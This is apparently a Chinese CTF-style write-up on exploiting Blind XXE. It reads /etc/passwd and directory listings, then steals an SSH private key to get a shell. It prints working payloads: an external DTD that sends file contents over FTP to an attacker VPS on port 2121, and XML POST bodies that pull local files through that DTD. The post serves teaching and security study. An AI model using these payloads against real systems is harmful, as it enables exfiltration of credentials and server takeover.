利用Blind XXE Getshell

这是一道类似CTF的题目。话不多说

访问链接,如下。于是随便输入任意数字,点击Create Account

抓包,发现是XML提交的格式。于是乎想到了XXE漏洞

测试是否能读取文件,发现其不回显数据,于是只能利用Blind XXE攻击手法。

Blind XXE读取任意文件Getshell

首先,在我们的VPS上建立一个xml.dtd文件,内容如下。然后建立起一个HTTP服务,访问路径为:http://vps的IP/xml.dtd

<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'ftp://vps的地址:2121/%file;'>">
%all;

然后在我们的VPS上运行另外一个脚本,监听2121端口的流量

扫描二维码关注公众号,回复: 9913482 查看本文章

最后,我们提交的Post数据如下。重放

可以看到,我们2121监听的端口收到了目标主机发送过来的 /etc/passwd 文件了。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://VPS的IP/xml.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

我们修改POST提交数据,可以对目标主机实现任意目录浏览和任意文件读取。如下,是读取目标主机 /etc/ 目录

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "file:///etc/">
<!ENTITY % dtd SYSTEM "http://VPS的IP/xml.dtd">
%dtd;
%send;
]>
<reg><name>11</name><tel>22</tel><email>33</email></reg>

能列目录和读取任意文件后,我们就可以去查找目标主机的敏感文件了。最终,我们在目标主机的 /home/用户名/ 目录下找到了私钥文件

读取id_rsa私钥文件。

这里需要注意的是如何将读取到的私钥格式化,因为读取的数据很杂乱。我们最终可以读取xxe-ftp.log文件内容,然后过滤出私钥的数据。

然后成功连上目标主机

注:

这里通过监听2121端口的流量读取的数据,是从 RETR 开始后面的这些

发布了419 篇原创文章 · 获赞 1356 · 访问量 133万+

猜你喜欢

转载自blog.csdn.net/qq_36119192/article/details/104933799
xxe
今日推荐